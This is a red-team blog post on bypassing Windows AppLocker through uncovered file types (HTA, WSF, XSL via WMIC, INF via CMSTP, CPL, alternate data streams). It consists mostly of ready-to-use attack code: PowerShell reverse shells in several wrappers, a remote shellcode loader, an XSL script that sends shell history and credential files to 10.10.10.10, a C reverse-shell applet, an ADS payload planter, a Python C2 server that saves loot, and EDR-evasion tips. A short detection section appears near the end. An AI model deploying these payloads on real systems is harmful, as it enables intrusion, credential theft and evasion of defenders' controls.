Skip to content
AppLocker Bypass — File Extension Blind Spots

AppLocker Bypass — File Extension Blind Spots

Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1218.005 (Mshta), T1220 (XSL Script Processing), T1564.004 (ADS), T1218.011 (Rundll32/CPL), and T1218 (System Binary Proxy Execution).


Lab Setup

Recommended VM Stack

Host Machine
└── Hypervisor (VMware Workstation / VirtualBox / Hyper-V)
    ├── Windows 10/11 Enterprise (victim VM)
    │   ├── AppLocker default rules enforced (Exe + Script rules)
    │   ├── Windows Defender enabled + updated
    │   ├── Sysmon (SwiftOnSecurity config)
    │   ├── Wireshark (observe HTA/WMIC HTTP fetches)
    │   ├── Sysinternals Process Monitor
    │   └── PowerShell 5.1 + Script Block Logging
    │
    └── Kali Linux (attacker VM)
        ├── Python 3.10+ (multi-extension payload server)
        ├── mingw-w64 (compile CPL payloads)
        └── netcat / rlwrap

Windows VM Configuration

 1# Verify AppLocker script rules are active
 2# These SHOULD block .ps1, .vbs, .js from untrusted paths
 3# but WON'T block .hta, .wsf, .xsl, .cpl
 4
 5# confirm mshta.exe exists and is signed
 6$binaries = @(
 7    "$env:WINDIR\System32\mshta.exe",
 8    "$env:WINDIR\System32\wscript.exe",
 9    "$env:WINDIR\System32\cscript.exe",
10    "$env:WINDIR\System32\wbem\wmic.exe",
11    "$env:WINDIR\System32\cmstp.exe",
12    "$env:WINDIR\System32\control.exe"
13)
14
15$binaries | ForEach-Object {
16    $sig = (Get-AuthenticodeSignature $_).Status
17    Write-Host "[$(if($sig -eq 'Valid'){'OK'}else{'!!'})] $(Split-Path $_ -Leaf)$sig"
18}
 1# Enable Process Creation auditing — catch mshta/wmic child processes
 2AuditPol /set /subcategory:"Process Creation" /success:enable /failure:enable
 3
 4# Confirm WScript and CScript can run .wsf from temp (bypass test)
 5$wsf = @'
 6<?xml version="1.0"?>
 7<job><script language="JScript">
 8WScript.Echo("WSF executing — AppLocker Script Rules do NOT cover .wsf");
 9</script></job>
10'@
11$wsf | Out-File "$env:TEMP\test_bypass.wsf"
12cscript //nologo "$env:TEMP\test_bypass.wsf"
13Remove-Item "$env:TEMP\test_bypass.wsf" -Force

Attacker VM Setup

# start multi-extension server (see c2_server.py in this blog)
mkdir payloads
python3 c2_server.py &

# reverse shell listener
rlwrap nc -lvnp 4444

Snapshot

VM → Snapshot → "FILEEXT_BASELINE"

AppLocker Extension Coverage Map

┌─────────────────────────────────────────────────────────────────────┐
│              APPLOCKER DEFAULT RULE COVERAGE                        │
├───────────────────────┬─────────────────────────────────────────────┤
│   ✓ COVERED           │   ✗ NOT COVERED (bypass surface)           │
├───────────────────────┼─────────────────────────────────────────────┤
│  .exe   .com          │  .hta   ← mshta.exe     (this blog §1)     │
│  .ps1   .vbs          │  .wsf   ← wscript.exe   (this blog §2)     │
│  .js    .cmd   .bat   │  .wsc   ← wscript.exe                      │
│  .msi   .msp   .mst   │  .xsl   ← wmic.exe      (this blog §3)     │
│  .dll   .ocx          │  .inf   ← cmstp.exe     (this blog §4)     │
│  (DLL rules off)      │  .cpl   ← control.exe   (this blog §5)     │
│  .appx                │  .sct   ← regsvr32.exe                     │
│                       │  .url   .lnk   .gadget                     │
│                       │  ADS    ← any extension  (this blog §6)    │
└───────────────────────┴─────────────────────────────────────────────┘
  AppLocker evaluates file extension + publisher at process launch.
  Anything outside the left column is invisible to AppLocker policy.

Execution Chain — Key Vectors

VECTOR 1: HTA (HTML Application)
─────────────────────────────────────────────────────────────────
  mshta.exe  payload.hta
       │
       │  AppLocker: ✓ mshta.exe signed Microsoft → ALLOW
       │  AppLocker: never evaluates .hta content
       │
       ▼
  Internet Explorer engine parses HTA
       │
       ▼
  <script language="JScript"> runs
  Full WScript.Shell access, no sandbox
       │
       └─► reverse shell / shellcode


VECTOR 3: XSL via WMIC
─────────────────────────────────────────────────────────────────
  wmic.exe process get brief /format:"http://10.10.10.10/payload.xsl"
       │
       │  AppLocker: ✓ wmic.exe signed Microsoft → ALLOW
       │
       ▼
  wmic fetches XSL via WinHTTP
       │
       ▼
  MSXML parses <ms:script language="JScript">
       │
       ▼
  Script executes — no AppLocker evaluation of XSL
       │
       └─► command / reverse shell


VECTOR 6: NTFS Alternate Data Streams
─────────────────────────────────────────────────────────────────
  legit.txt              ← AppLocker evaluates THIS (primary stream)
  legit.txt:payload.ps1  ← payload hidden in named stream
       │
       │  AppLocker sees:  legit.txt  (trusted path / not a script)
       │  AppLocker BLIND: stream content
       │
  powershell -f legit.txt:payload.ps1
       │
       └─► payload executes, AppLocker never knew

The Blind Spot

AppLocker operates on rules. Rules target specific file types. And here’s the thing: AppLocker’s default ruleset only covers a handful of them:

rule categoryextensions covered
Executable Rules.exe, .com
Script Rules.ps1, .vbs, .js, .cmd, .bat
Windows Installer Rules.msi, .msp, .mst
DLL Rules.dll, .ocx (disabled by default)
Packaged App Rules.appx

That’s it. Windows recognizes dozens of other file types that can execute code, and AppLocker has never heard of most of them. Anything outside that list is evaluated against no rule, which in most configurations means it runs freely.

This post covers six independent extension-based bypass vectors, each with working payloads:

vectorextensionbinary abusednoise
HTML Application.htamshta.exemedium
Windows Script File.wsfwscript.exe / cscript.exelow
XSL Stylesheet.xslwmic.exelow
Setup Info File.infcmstp.exelow
Control Panel Applet.cplcontrol.exelow
NTFS Alternate Data Stream(any)any whitelisted binaryvery low

Vector 1 — HTA (HTML Application)

.hta files are full-trust HTML Applications executed by mshta.exe, a signed Microsoft binary. They can run JScript and VBScript with no browser sandbox, no zone restrictions, and full access to the Windows Scripting Host object model.

AppLocker Script Rules don’t cover .hta. mshta.exe is trusted. The payload runs.

PoC — calc pop

 1<!-- calc.hta -->
 2<html>
 3<head>
 4<script language="JScript">
 5  var shell = new ActiveXObject("WScript.Shell");
 6  shell.Run("calc.exe", 0, false);
 7  window.close();
 8</script>
 9</head>
10<body></body>
11</html>
mshta.exe calc.hta
mshta.exe http://10.10.10.10/calc.hta

Reverse shell — HTA with rolling XOR shellcode loader

Full reverse shell baked into a single .hta. The shellcode is XOR-encrypted (matching the rolling scheme from our runner) and fetched remotely, with no plaintext payload on wire.

 1<!-- revshell.hta -->
 2<!-- update: LHOST, LPORT, shellcode URL, XOR key -->
 3<html>
 4<head>
 5<script language="JScript">
 6
 7// ── config ────────────────────────────────────────────────────────────────
 8var C2_URL  = "http://10.10.10.10/sc.bin";   // encrypted shellcode URL
 9var XOR_KEY = 0x42;                           // rolling XOR base key
10
11// ── rolling XOR decrypt ───────────────────────────────────────────────────
12function xorDecrypt(bytes, key) {
13    var out = [];
14    for (var i = 0; i < bytes.length; i++)
15        out.push(bytes[i] ^ ((key + i) & 0xff));
16    return out;
17}
18
19// ── fetch encrypted shellcode ─────────────────────────────────────────────
20function fetchBytes(url) {
21    var xhr = new ActiveXObject("MSXML2.XMLHTTP");
22    xhr.open("GET", url, false);
23    xhr.setRequestHeader("Accept", "*/*");
24    xhr.send();
25    if (xhr.status !== 200) return null;
26
27    // responseBody is a VBArray of bytes
28    return (new VBArray(xhr.responseBody)).toArray();
29}
30
31// ── VirtualAlloc + CreateThread via WScript.Shell run ────────────────────
32// pure JScript can't call Win32 directly, so we generate a PS1 and run it
33function execShellcode(bytes) {
34    var hex = "";
35    for (var i = 0; i < bytes.length; i++) {
36        var b = bytes[i].toString(16);
37        hex += (b.length === 1 ? "0" : "") + b;
38    }
39
40    // PowerShell shellcode runner — inline, no file drop
41    var ps = "$b=[byte[]]@(" + bytes.join(",") + ");" +
42             "$m=[Runtime.InteropServices.Marshal];" +
43             "$p=[System.Runtime.InteropServices.DllImportAttribute];" +
44             "$va=([AppDomain]::CurrentDomain.GetAssemblies()|" +
45             "?{$_.GlobalAssemblyCache}|" +
46             "Select -First 1).GetType('Microsoft.Win32.UnsafeNativeMethods');" +
47             "$gpa=$va.GetMethod('GetProcAddress',[Reflection.BindingFlags]40,[Reflection.Binder]$null,[Type[]]@([IntPtr],[String]),[Reflection.ParameterModifier[]]$null);" +
48             "$k32=[Runtime.InteropServices.Marshal]::GetHINSTANCE(([AppDomain]::CurrentDomain.GetAssemblies()|?{$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('kernel32.dll')}).Modules[0]);" +
49             "$va2=$m::GetDelegateForFunctionPointer($gpa.Invoke($null,[Object[]]@($k32,'VirtualAlloc')),[Action[IntPtr,UIntPtr,UInt32,UInt32]]);" +
50             "$mem=[System.Runtime.InteropServices.Marshal]::AllocHGlobal($b.Length);" +
51             "$m::Copy($b,0,$mem,$b.Length);" +
52             "$ct=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(" +
53             "     $gpa.Invoke($null,[Object[]]@($k32,'CreateThread')),"+
54             "     [Func[IntPtr,UInt32,IntPtr,IntPtr,UInt32,IntPtr]]);" +
55             "$th=$ct.Invoke([IntPtr]::Zero,0,$mem,[IntPtr]::Zero,0,[IntPtr]::Zero);";
56
57    var shell  = new ActiveXObject("WScript.Shell");
58    var b64ps  = btoa(unescape(encodeURIComponent(ps)));  // crude UTF-16 B64 — use helper below for production
59    shell.Run("powershell -nop -w hidden -ep bypass -EncodedCommand " + b64ps, 0, false);
60}
61
62// ── main ──────────────────────────────────────────────────────────────────
63var enc = fetchBytes(C2_URL);
64if (enc) {
65    var dec = xorDecrypt(enc, XOR_KEY);
66    execShellcode(dec);
67}
68
69window.close();
70
71</script>
72</head>
73<body></body>
74</html>

Or — simpler PowerShell delegation (cleaner for most engagements):

 1<!-- ps_delegate.hta — delegates everything to PowerShell, minimal HTA footprint -->
 2<html>
 3<head>
 4<script language="JScript">
 5  var host = "10.10.10.10";
 6  var port = "4444";
 7
 8  var ps = "$c=New-Object Net.Sockets.TCPClient('" + host + "'," + port + ");" +
 9           "$s=$c.GetStream();" +
10           "[byte[]]$b=0..65535|%{0};" +
11           "while(($i=$s.Read($b,0,$b.Length))-ne 0){" +
12           "$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);" +
13           "$r=(iex $d 2>&1|Out-String);" +
14           "$rb=[Text.Encoding]::ASCII.GetBytes($r+'PS '+(gl).Path+'> ');" +
15           "$s.Write($rb,0,$rb.Length);$s.Flush()}";
16
17  // UTF-16LE base64 for -EncodedCommand
18  var enc = "";
19  for (var i = 0; i < ps.length; i++)
20      enc += String.fromCharCode(ps.charCodeAt(i), 0);
21  var b64 = btoa(enc);
22
23  new ActiveXObject("WScript.Shell").Run(
24      "powershell -nop -w hidden -ep bypass -EncodedCommand " + b64, 0, false
25  );
26  window.close();
27</script>
28</head>
29<body></body>
30</html>
:: local
mshta.exe ps_delegate.hta

:: remote — nothing touches disk
mshta.exe http://10.10.10.10/ps_delegate.hta

:: one-liner via run dialog or macro
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run""mshta http://10.10.10.10/ps_delegate.hta"",0:close")

Vector 2 — WSF (Windows Script File)

.wsf is a Windows Script File, an XML wrapper that lets you mix JScript and VBScript in one file, reference external script libraries, and define multiple jobs. It’s executed by wscript.exe and cscript.exe, both trusted binaries.

AppLocker Script Rules only target .vbs and .js individually. The .wsf container that wraps them is not covered.

Reverse shell via WSF

 1<!-- revshell.wsf -->
 2<?xml version="1.0"?>
 3<job id="main">
 4  <script language="JScript">
 5  <![CDATA[
 6
 7    var LHOST = "10.10.10.10";
 8    var LPORT = 4444;
 9
10    // WScript.Shell for process spawning
11    var shell = new ActiveXObject("WScript.Shell");
12
13    // build UTF-16LE base64-encoded PowerShell reverse shell
14    var ps = "$c=New-Object Net.Sockets.TCPClient('" + LHOST + "'," + LPORT + ");" +
15             "$s=$c.GetStream();" +
16             "[byte[]]$b=0..65535|%{0};" +
17             "while(($i=$s.Read($b,0,$b.Length))-ne 0){" +
18             "$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);" +
19             "$r=(iex $d 2>&1|Out-String);" +
20             "$rb=[Text.Encoding]::ASCII.GetBytes($r+'PS '+(gl).Path+'> ');" +
21             "$s.Write($rb,0,$rb.Length);$s.Flush()}";
22
23    var encoded = "";
24    for (var i = 0; i < ps.length; i++)
25        encoded += String.fromCharCode(ps.charCodeAt(i), 0);
26
27    var b64 = btoa(encoded);
28    shell.Run("powershell -nop -w hidden -ep bypass -EncodedCommand " + b64, 0, false);
29
30  ]]>
31  </script>
32</job>
:: visible console — good for testing
cscript //nologo revshell.wsf

:: silent — production
wscript //nologo revshell.wsf

:: remote
wscript //nologo \\10.10.10.10\share\revshell.wsf

WSF with VBScript component (mixed engine)

 1<!-- mixed.wsf — demonstrates multi-engine capability -->
 2<?xml version="1.0"?>
 3<job id="main">
 4
 5  <!-- VBScript helper: run a command and capture output -->
 6  <script language="VBScript">
 7    Function RunCmd(cmd)
 8        Dim oShell, oExec, sOut
 9        Set oShell = CreateObject("WScript.Shell")
10        Set oExec  = oShell.Exec("cmd.exe /c " & cmd)
11        Do While oExec.Status = 0
12            WScript.Sleep 50
13        Loop
14        RunCmd = oExec.StdOut.ReadAll()
15    End Function
16  </script>
17
18  <!-- JScript main: call VBScript helper, send output to C2 -->
19  <script language="JScript">
20  <![CDATA[
21    var xhr = new ActiveXObject("MSXML2.XMLHTTP");
22    var out = RunCmd("whoami /all");    // calls VBScript function above
23
24    xhr.open("POST", "http://10.10.10.10/collect", false);
25    xhr.setRequestHeader("Content-Type", "text/plain");
26    xhr.send(out);
27  ]]>
28  </script>
29
30</job>

Vector 3 — XSL via WMIC

wmic.exe has an undocumented /format: flag that accepts a URL to an XSL stylesheet. When it fetches the stylesheet, it processes the embedded JScript or VBScript transform, before AppLocker gets a look in.

wmic.exe is a signed Microsoft binary. XSL transforms are not in AppLocker’s ruleset. The code runs.

XSL reverse shell

 1<!-- revshell.xsl -->
 2<?xml version="1.0"?>
 3<stylesheet version="1.0"
 4  xmlns="http://www.w3.org/1999/XSL/Transform"
 5  xmlns:ms="urn:schemas-microsoft-com:xslt"
 6  xmlns:user="http://mycompany.com/mynamespace">
 7
 8  <output method="text"/>
 9
10  <ms:script implements-prefix="user" language="JScript">
11  <![CDATA[
12
13    var LHOST = "10.10.10.10";
14    var LPORT = 4444;
15
16    var shell = new ActiveXObject("WScript.Shell");
17
18    var ps = "$c=New-Object Net.Sockets.TCPClient('" + LHOST + "'," + LPORT + ");" +
19             "$s=$c.GetStream();" +
20             "[byte[]]$b=0..65535|%{0};" +
21             "while(($i=$s.Read($b,0,$b.Length))-ne 0){" +
22             "$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);" +
23             "$r=(iex $d 2>&1|Out-String);" +
24             "$rb=[Text.Encoding]::ASCII.GetBytes($r+'PS '+(gl).Path+'> ');" +
25             "$s.Write($rb,0,$rb.Length);$s.Flush()}";
26
27    var enc = "";
28    for (var i = 0; i < ps.length; i++)
29        enc += String.fromCharCode(ps.charCodeAt(i), 0);
30
31    shell.Run("powershell -nop -w hidden -ep bypass -EncodedCommand " + btoa(enc), 0, false);
32
33    function Exec() { return "ok"; }
34
35  ]]>
36  </ms:script>
37
38  <template match="/">
39    <value-of select="user:Exec()"/>
40  </template>
41
42</stylesheet>
:: remote — zero files on disk
wmic process get brief /format:"http://10.10.10.10/revshell.xsl"

:: local
wmic process get brief /format:"C:\Windows\Temp\revshell.xsl"

:: alternate trigger (any wmic class works, output is irrelevant)
wmic os get /format:"http://10.10.10.10/revshell.xsl"

The WMIC output (process list / OS info) is just noise. Your script runs regardless. Redirect to nul to suppress it: wmic ... >nul 2>&1

Data exfil via XSL (no outbound shell needed)

 1<!-- exfil.xsl — grab files and POST to C2 without spawning any child process -->
 2<?xml version="1.0"?>
 3<stylesheet version="1.0"
 4  xmlns="http://www.w3.org/1999/XSL/Transform"
 5  xmlns:ms="urn:schemas-microsoft-com:xslt"
 6  xmlns:user="http://mycompany.com/mynamespace">
 7  <output method="text"/>
 8  <ms:script implements-prefix="user" language="JScript">
 9  <![CDATA[
10    function Exfil() {
11        var targets = [
12            "%USERPROFILE%\\Desktop",
13            "%APPDATA%\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt",
14            "%APPDATA%\\..\\Local\\Microsoft\\Credentials"
15        ];
16
17        var shell = new ActiveXObject("WScript.Shell");
18        var fso   = new ActiveXObject("Scripting.FileSystemObject");
19        var xhr   = new ActiveXObject("MSXML2.XMLHTTP");
20
21        for (var i = 0; i < targets.length; i++) {
22            var path = shell.ExpandEnvironmentStrings(targets[i]);
23            try {
24                var f    = fso.OpenTextFile(path, 1);
25                var data = f.ReadAll();
26                f.Close();
27
28                xhr.open("POST", "http://10.10.10.10/collect", false);
29                xhr.setRequestHeader("X-Path", path);
30                xhr.send(data);
31            } catch(e) {}
32        }
33        return "done";
34    }
35  ]]>
36  </ms:script>
37  <template match="/">
38    <value-of select="user:Exfil()"/>
39  </template>
40</stylesheet>

Vector 4 — INF via CMSTP

.inf Setup Information Files are processed by several Windows components. cmstp.exe, the Microsoft Connection Manager Profile Installer, accepts an INF file and executes code defined in its RunPreSetupCommandsSection. It is signed, trusted, and completely off AppLocker’s radar.

 1; payload.inf — CMSTP AppLocker bypass
 2; update: CommandLine value
 3
 4[version]
 5Signature  = $chicago$
 6AdvancedINF = 2.5
 7
 8[DefaultInstall_SingleUser]
 9UnRegisterOCXs  = UnRegisterOCXSection
10RegisterOCXs    = RegisterOCXSection
11RunPreSetupCommands = RunPreSetupCommandsSection
12
13[RegisterOCXSection]
14
15[UnRegisterOCXSection]
16
17[RunPreSetupCommandsSection]
18; this command executes with user privileges before setup completes
19powershell -nop -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
20REGSRV=NO
21
22[Strings]
23ServiceName = "VPN"
24ShortSvcName = "VPN"
:: /au: auto-install for current user (no UAC prompt)
:: /ni:  non-interactive
cmstp.exe /ni /au payload.inf

CMSTP will flash a small dialog on first run unless /ni is provided. On some configurations the dialog is unavoidable, so time your execution accordingly or chain from a macro that can click through it via SendKeys.


Vector 5 — CPL (Control Panel Applet)

Control Panel Applets are DLLs with a .cpl extension. control.exe and rundll32.exe load and execute them. AppLocker’s DLL rules are disabled by default. Even if enabled, a signed or path-whitelisted CPL will pass. An unsigned CPL in a user-writable path often runs freely.

CPL payload (C)

 1/* payload_cpl.c
 2 * Compile (cross or on target):
 3 *   x86_64-w64-mingw32-gcc -shared -o payload.cpl payload_cpl.c \
 4 *       -lws2_32 -mwindows -s -Wl,--build-id=none
 5 */
 6
 7#define WIN32_LEAN_AND_MEAN
 8#include <windows.h>
 9#include <winsock2.h>
10#include <ws2tcpip.h>
11#include <cpl.h>      /* CPlApplet signature */
12#include <stdio.h>
13
14#pragma comment(lib, "ws2_32.lib")
15
16#define LHOST "10.10.10.10"
17#define LPORT 4444
18
19/* forward declarations */
20static DWORD WINAPI shell_thread(LPVOID lpParam);
21static void reverse_shell(void);
22
23/* ── CPlApplet — required export for .cpl files ───────────────────────── */
24LONG APIENTRY CPlApplet(HWND hwnd, UINT uMsg, LPARAM lParam1, LPARAM lParam2) {
25    switch (uMsg) {
26        case CPL_INIT:
27            /* spawn shell on a background thread so the applet "loads" cleanly */
28            CreateThread(NULL, 0, shell_thread, NULL, 0, NULL);
29            return TRUE;
30
31        case CPL_GETCOUNT: return 1;
32        case CPL_INQUIRE:  return 0;
33        case CPL_EXIT:     return 0;
34    }
35    return 0;
36}
37
38/* ── DllMain — also fires on LoadLibrary, belt-and-suspenders ────────── */
39BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID reserved) {
40    if (reason == DLL_PROCESS_ATTACH) {
41        DisableThreadLibraryCalls(hMod);
42        CreateThread(NULL, 0, shell_thread, NULL, 0, NULL);
43    }
44    return TRUE;
45}
46
47static DWORD WINAPI shell_thread(LPVOID p) {
48    (void)p;
49    reverse_shell();
50    return 0;
51}
52
53/* ── reverse shell ───────────────────────────────────────────────────── */
54static void reverse_shell(void) {
55    WSADATA wsa;
56    SOCKET  sock;
57    struct  sockaddr_in sa;
58    STARTUPINFOA        si = {0};
59    PROCESS_INFORMATION pi = {0};
60    char    cmd[] = "cmd.exe";
61
62    WSAStartup(MAKEWORD(2,2), &wsa);
63
64    sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
65                      NULL, 0, WSA_FLAG_OVERLAPPED);
66    if (sock == INVALID_SOCKET) goto cleanup;
67
68    sa.sin_family      = AF_INET;
69    sa.sin_port        = htons(LPORT);
70    inet_pton(AF_INET, LHOST, &sa.sin_addr);
71
72    if (connect(sock, (SOCKADDR*)&sa, sizeof(sa)) != 0) goto cleanup;
73
74    /* pipe stdin/stdout/stderr through the socket */
75    si.cb         = sizeof(si);
76    si.dwFlags    = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
77    si.wShowWindow = SW_HIDE;
78    si.hStdInput  = (HANDLE)sock;
79    si.hStdOutput = (HANDLE)sock;
80    si.hStdError  = (HANDLE)sock;
81
82    CreateProcessA(NULL, cmd, NULL, NULL, TRUE,
83                   CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
84
85    WaitForSingleObject(pi.hProcess, INFINITE);
86    CloseHandle(pi.hProcess);
87    CloseHandle(pi.hThread);
88
89cleanup:
90    closesocket(sock);
91    WSACleanup();
92}
:: via control.exe
control.exe payload.cpl

:: via rundll32 (more explicit — useful if control.exe is blocked)
rundll32.exe shell32.dll,Control_RunDLL payload.cpl

:: or just double-click — Windows associates .cpl with control.exe by default

Vector 6 — NTFS Alternate Data Streams (ADS)

NTFS supports multiple named data streams on a single file. The primary stream is what you normally read and write. Additional named streams are invisible to Explorer, dir, and most AV scanners, but the Windows script engines can execute them directly.

AppLocker evaluates the primary stream of a file. A script hidden in a named stream of a whitelisted file bypasses that evaluation entirely.

Hiding a payload in an ADS

:: create an innocuous text file (or use any existing whitelisted file)
echo this is definitely not malware > legit.txt

:: write your payload into a named stream on that file
type revshell.ps1 > legit.txt:payload.ps1

:: or echo directly
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/s.ps1') > legit.txt:s.ps1

The file legit.txt looks empty to Explorer and dir. The payload is invisible without explicit tools.

Executing from ADS

 1:: PowerShell — execute script from ADS
 2powershell -nop -ep bypass -c "Get-Content legit.txt:payload.ps1 | IEX"
 3
 4:: or via the stream path directly (PS 3.0+)
 5powershell -nop -ep bypass -f legit.txt:payload.ps1
 6
 7:: wscript / cscript — direct execution from stream
 8wscript legit.txt:payload.js
 9cscript //nologo legit.txt:payload.vbs
10
11:: mshta — HTA from an ADS
12mshta.exe legit.txt:payload.hta

Full ADS workflow script

 1# ads_deploy.ps1 — plant and execute payload via ADS
 2# run this from any PowerShell session (e.g. via macro, existing foothold)
 3
 4param(
 5    [string]$PayloadUrl  = "http://10.10.10.10/revshell.ps1",
 6    [string]$HostFile    = "C:\Windows\Temp\svclog.txt",       # whitelisted path
 7    [string]$StreamName  = "diag"                               # innocuous name
 8)
 9
10# create host file if it doesn't exist
11if (-not (Test-Path $HostFile)) {
12    Set-Content -Path $HostFile -Value "Windows Diagnostic Log $(Get-Date)"
13}
14
15# fetch and plant payload into named stream
16$bytes  = (New-Object Net.WebClient).DownloadData($PayloadUrl)
17$stream = [IO.File]::Open("${HostFile}:${StreamName}", [IO.FileMode]::Create)
18$stream.Write($bytes, 0, $bytes.Length)
19$stream.Close()
20
21Write-Host "[+] planted ${HostFile}:${StreamName} ($(bytes.Length) bytes)"
22
23# execute from stream — no file on disk ever holds the raw payload path
24$cmd = "powershell -nop -ep bypass -w hidden -f `"${HostFile}:${StreamName}`""
25Start-Process powershell -ArgumentList "-nop -ep bypass -w hidden -c `"$cmd`"" -WindowStyle Hidden
26
27Write-Host "[*] executed"

Verifying / inspecting ADS (defender perspective)

 1:: list streams on a file
 2dir /r legit.txt
 3
 4:: PowerShell
 5Get-Item legit.txt -Stream *
 6
 7:: Sysinternals streams.exe
 8streams.exe legit.txt
 9
10:: remove all alternate streams
11streams.exe -d legit.txt

Python C2 Server

Single server that handles all the above vectors. It serves HTA, WSF, XSL, PS1, and binary payloads with correct content types, and logs incoming connections and exfil POSTs:

 1#!/usr/bin/env python3
 2# c2_server.py — multi-extension payload server
 3# place your payloads in ./payloads/
 4
 5from http.server import HTTPServer, BaseHTTPRequestHandler
 6from datetime import datetime
 7import os, sys
 8
 9PAYLOAD_DIR = "./payloads"
10PORT        = 80
11
12CONTENT_TYPES = {
13    ".hta":  "application/hta",
14    ".wsf":  "text/plain",
15    ".xsl":  "text/xml",
16    ".xml":  "text/xml",
17    ".inf":  "text/plain",
18    ".ps1":  "text/plain",
19    ".bin":  "application/octet-stream",
20    ".dll":  "application/octet-stream",
21    ".cpl":  "application/octet-stream",
22    ".txt":  "text/plain",
23}
24
25def log(msg):
26    ts = datetime.now().strftime("%H:%M:%S")
27    print(f"[{ts}] {msg}")
28
29class Handler(BaseHTTPRequestHandler):
30
31    def do_GET(self):
32        path = os.path.join(PAYLOAD_DIR, self.path.lstrip("/"))
33
34        if not os.path.isfile(path):
35            log(f"404  {self.client_address[0]}  {self.path}")
36            self.send_response(404)
37            self.end_headers()
38            return
39
40        _, ext = os.path.splitext(path)
41        ctype  = CONTENT_TYPES.get(ext.lower(), "application/octet-stream")
42
43        with open(path, "rb") as f:
44            data = f.read()
45
46        log(f"GET  {self.client_address[0]}  {self.path}  ({len(data)}b)")
47        self.send_response(200)
48        self.send_header("Content-Type",   ctype)
49        self.send_header("Content-Length", str(len(data)))
50        self.send_header("Cache-Control",  "no-cache")
51        self.end_headers()
52        self.wfile.write(data)
53
54    def do_POST(self):
55        length = int(self.headers.get("Content-Length", 0))
56        body   = self.rfile.read(length) if length else b""
57        src    = self.client_address[0]
58        xpath  = self.headers.get("X-Path", "unknown")
59
60        log(f"POST {src}  {self.path}  X-Path={xpath}  ({len(body)}b)")
61
62        # write exfil to disk
63        out_dir  = f"./loot/{src}"
64        os.makedirs(out_dir, exist_ok=True)
65        out_file = os.path.join(out_dir, xpath.replace("\\", "_").replace(":", "").lstrip("_") or "data.bin")
66        with open(out_file, "wb") as f:
67            f.write(body)
68        log(f"     saved → {out_file}")
69
70        self.send_response(200)
71        self.end_headers()
72        self.wfile.write(b"ok")
73
74    def log_message(self, fmt, *args):
75        pass  # suppress default logging — we handle it ourselves
76
77if __name__ == "__main__":
78    os.makedirs(PAYLOAD_DIR, exist_ok=True)
79    os.makedirs("./loot",    exist_ok=True)
80    log(f"listening on :{PORT}  payloads={PAYLOAD_DIR}")
81    HTTPServer(("0.0.0.0", PORT), Handler).serve_forever()
# layout
payloads/
  calc.hta
  revshell.hta
  revshell.wsf
  revshell.xsl
  shell.ps1
  sc.bin        # encrypted shellcode

python3 c2_server.py

OpSec Notes

  • HTAmshta.exe making network connections is a known red flag in most EDR products. HTTPS delivery and a clean domain reduce noise. The process hierarchy explorer.exe → mshta.exe is cleaner than spawning from Office macros.
  • WSFwscript.exe is quieter than PowerShell but Script Block Logging doesn’t apply, making it harder for defenders to reconstruct what ran.
  • WMIC + XSLwmic.exe making outbound HTTP is unusual and will trigger on mature stacks. Prefer UNC/SMB delivery if the target has no internet egress monitoring.
  • CMSTP — known bypass, Defender has behavioral detections. Pair with AMSI bypass if you’re invoking PowerShell downstream.
  • CPL — unsigned CPL loaded by rundll32.exe is a Sysmon EID 7 event. Signing the DLL with any cert (even self-signed) changes the hash and often evades static signatures.
  • ADS — PowerShell executing from a stream path (-f file.txt:stream) is detectable via Script Block Logging. The stream plant itself is invisible to most scanners but Sysmon can be configured to log ADS creation.

Detection (Blue Team)

signalevent
mshta.exe network connectionSysmon EID 3
mshta.exe spawning powershell.exe / cmd.exeSysmon EID 1 — ParentImage
wmic.exe with /format:http in cmdlineSysmon EID 1 — CommandLine
cmstp.exe executing commands from INFSysmon EID 1, Windows EID 4688
rundll32.exe loading .cpl from non-system pathSysmon EID 7 — ImageLoad
File write to named stream (ADS)Sysmon EID 15 — FileCreateStreamHash
PowerShell -f with : in path (ADS execution)EID 4104 — ScriptBlock

Sysmon rules:

 1<!-- WMIC XSL abuse -->
 2<ProcessCreate onmatch="include">
 3  <Image condition="is">C:\Windows\System32\wbem\WMIC.exe</Image>
 4  <CommandLine condition="contains">/format:</CommandLine>
 5</ProcessCreate>
 6
 7<!-- mshta network -->
 8<NetworkConnect onmatch="include">
 9  <Image condition="is">C:\Windows\System32\mshta.exe</Image>
10</NetworkConnect>
11
12<!-- CMSTP -->
13<ProcessCreate onmatch="include">
14  <Image condition="is">C:\Windows\System32\cmstp.exe</Image>
15</ProcessCreate>
16
17<!-- ADS creation -->
18<FileCreateStreamHash onmatch="include">
19  <TargetFilename condition="contains">:</TargetFilename>
20</FileCreateStreamHash>

Mitigation: WDAC script enforcement covers more extension types than AppLocker. Blocking mshta.exe and wmic.exe at the network perimeter (outbound) cuts remote delivery for several vectors simultaneously. Sysmon EID 15 for ADS detection requires explicit configuration. It’s off by default.


MITRE ATT&CK

techniqueIDvector
System Binary Proxy Execution: MshtaT1218.005HTA
XSL Script ProcessingT1220XSL/WMIC
System Binary Proxy Execution: CMSTPT1218.003INF
System Binary Proxy Execution: Rundll32T1218.011CPL
NTFS Alternate Data StreamsT1564.004ADS
Command and Scripting: Windows Script HostT1059.005WSF
Defense EvasionTA0005all

References

Last updated on